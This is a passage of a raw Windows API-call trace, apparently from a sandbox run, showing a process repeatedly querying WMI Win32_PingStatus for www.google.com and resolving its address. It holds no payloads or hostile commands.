wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x249ea44*=8, plFlavor=0x249ea48*=0) returned 0x0 [0142.362] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.362] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.362] IWbemClassObject:Get (in: This=0x4f480a0, wszName="address", lFlags=0, pVal=0x59ee5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ea44*=8, plFlavor=0x249ea48*=0 | out: pVal=0x59ee5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x249ea44*=8, plFlavor=0x249ea48*=0) returned 0x0 [0142.362] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.362] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.362] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee5d8 | out: ppResult=0x59ee5d8*=0x4f59c40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c768*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0142.409] FreeAddrInfoW (pAddrInfo=0x4f59c40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c768*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0142.410] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.410] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.411] EtwEventActivityIdControl () returned 0x0 [0142.411] EtwEventActivityIdControl () returned 0x0 [0142.411] EtwEventActivityIdControl () returned 0x0 [0142.411] EtwEventActivityIdControl () returned 0x0 [0142.412] EtwEventActivityIdControl () returned 0x0 [0142.412] EtwEventActivityIdControl () returned 0x0 [0142.414] EtwEventWriteTransfer () returned 0x0 [0142.418] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x588 [0142.418] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.418] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.418] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.418] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a9ce0*=0, plFlavor=0x24a9ce4*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24a9ce0*=8, plFlavor=0x24a9ce4*=64) returned 0x0 [0142.418] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.418] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.418] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a9ce0*=8, plFlavor=0x24a9ce4*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24a9ce0*=8, plFlavor=0x24a9ce4*=64) returned 0x0 [0142.418] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.418] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.418] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.418] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.418] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.418] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a9d7c*=0, plFlavor=0x24a9d80*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24a9d7c*=8, plFlavor=0x24a9d80*=64) returned 0x0 [0142.419] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.419] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.419] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a9d7c*=8, plFlavor=0x24a9d80*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24a9d7c*=8, plFlavor=0x24a9d80*=64) returned 0x0 [0142.419] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.419] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.419] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.419] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.419] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a9ed8*=0, plFlavor=0x24a9edc*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24a9ed8*=8200, plFlavor=0x24a9edc*=64) returned 0x0 [0142.419] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a9ed8*=8200, plFlavor=0x24a9edc*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24a9ed8*=8200, plFlavor=0x24a9edc*=64) returned 0x0 [0142.420] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.420] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.420] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.420] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aa140*=0, plFlavor=0x24aa144*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24aa140*=8, plFlavor=0x24aa144*=64) returned 0x0 [0142.420] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.420] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.420] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aa140*=8, plFlavor=0x24aa144*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24aa140*=8, plFlavor=0x24aa144*=64) returned 0x0 [0142.420] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.420] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.420] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.420] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.420] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.420] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aa268*=0, plFlavor=0x24aa26c*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24aa268*=8200, plFlavor=0x24aa26c*=64) returned 0x0 [0142.421] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aa268*=8200, plFlavor=0x24aa26c*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24aa268*=8200, plFlavor=0x24aa26c*=64) returned 0x0 [0142.421] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0142.421] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0142.421] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.421] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0142.421] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0142.421] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.422] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee550 | out: pNames=0x59ee550*="\x01ƀ\x04") returned 0x0 [0142.422] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.422] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.422] SafeArrayGetLBound (in: psa=0x507510, nDim=0x1, plLbound=0x59ee3e8 | out: plLbound=0x59ee3e8) returned 0x0 [0142.422] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.422] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.422] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.422] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.422] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.422] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.422] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.422] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.422] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.422] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.422] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.422] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.422] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.422] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.423] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.423] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.423] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.423] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.423] SysStringByteLen (bstr="__PATH") returned 0xc [0142.423] SysStringByteLen (bstr="__PATH") returned 0xc [0142.423] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aaab0*=0, plFlavor=0x24aaab4*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24aaab0*=3, plFlavor=0x24aaab4*=64) returned 0x0 [0142.423] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aaae4*=0, plFlavor=0x24aaae8*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24aaae4*=8, plFlavor=0x24aaae8*=64) returned 0x0 [0142.423] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.423] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.424] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aab3c*=0, plFlavor=0x24aab40*=0 | out: pVal=0x59ee54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aab3c*=8, plFlavor=0x24aab40*=64) returned 0x0 [0142.424] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aab64*=0, plFlavor=0x24aab68*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24aab64*=8, plFlavor=0x24aab68*=64) returned 0x0 [0142.424] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.424] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.424] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aabbc*=0, plFlavor=0x24aabc0*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24aabbc*=8, plFlavor=0x24aabc0*=64) returned 0x0 [0142.424] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.424] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.424] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aad98*=0, plFlavor=0x24aad9c*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24aad98*=3, plFlavor=0x24aad9c*=64) returned 0x0 [0142.425] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aadcc*=0, plFlavor=0x24aadd0*=0 | out: pVal=0x59ee54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24aadcc*=8200, plFlavor=0x24aadd0*=64) returned 0x0 [0142.425] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aae00*=0, plFlavor=0x24aae04*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24aae00*=8, plFlavor=0x24aae04*=64) returned 0x0 [0142.425] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.425] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.425] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aae4c*=0, plFlavor=0x24aae50*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24aae4c*=8, plFlavor=0x24aae50*=64) returned 0x0 [0142.425] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.425] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.425] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24aae98*=0, plFlavor=0x24aae9c*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24aae98*=8, plFlavor=0x24aae9c*=64) returned 0x0 [0142.426] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.426] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.426] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee590 | out: puCount=0x59ee590*=0x2) returned 0x0 [0142.426] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee58c*=0xf, pszText=0x0) returned 0x0 [0142.426] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.426] IWbemClassObject:Get (in: This=0x4f480a0, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24ab0d0*=0, plFlavor=0x24ab0d4*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24ab0d0*=8, plFlavor=0x24ab0d4*=0) returned 0x0 [0142.426] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.426] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.426] IWbemClassObject:Get (in: This=0x4f480a0, wszName="address", lFlags=0, pVal=0x59ee5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24ab0d0*=8, plFlavor=0x24ab0d4*=0 | out: pVal=0x59ee5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24ab0d0*=8, plFlavor=0x24ab0d4*=0) returned 0x0 [0142.426] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.426] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.427] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee5d8 | out: ppResult=0x59ee5d8*=0x4f59f60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c750*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0142.450] FreeAddrInfoW (pAddrInfo=0x4f59f60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c750*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0142.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.452] EtwEventActivityIdControl () returned 0x0 [0142.452] EtwEventActivityIdControl () returned 0x0 [0142.452] EtwEventActivityIdControl () returned 0x0 [0142.452] EtwEventActivityIdControl () returned 0x0 [0142.452] EtwEventActivityIdControl () returned 0x0 [0142.452] EtwEventActivityIdControl () returned 0x0 [0142.453] EtwEventActivityIdControl () returned 0x0 [0142.453] EtwEventActivityIdControl () returned 0x0 [0142.453] EtwEventActivityIdControl () returned 0x0 [0142.453] EtwEventActivityIdControl () returned 0x0 [0142.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.453] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.453] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.453] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.453] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.454] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0142.454] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.454] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.454] SafeArrayGetLBound (in: psa=0x507540, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0142.454] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.454] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.454] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.454] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.454] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.454] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.454] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.454] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.454] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.454] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.454] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.454] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.454] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.454] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.454] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.454] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.455] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.455] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.455] SysStringByteLen (bstr="__PATH") returned 0xc [0142.455] SysStringByteLen (bstr="__PATH") returned 0xc [0142.455] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", 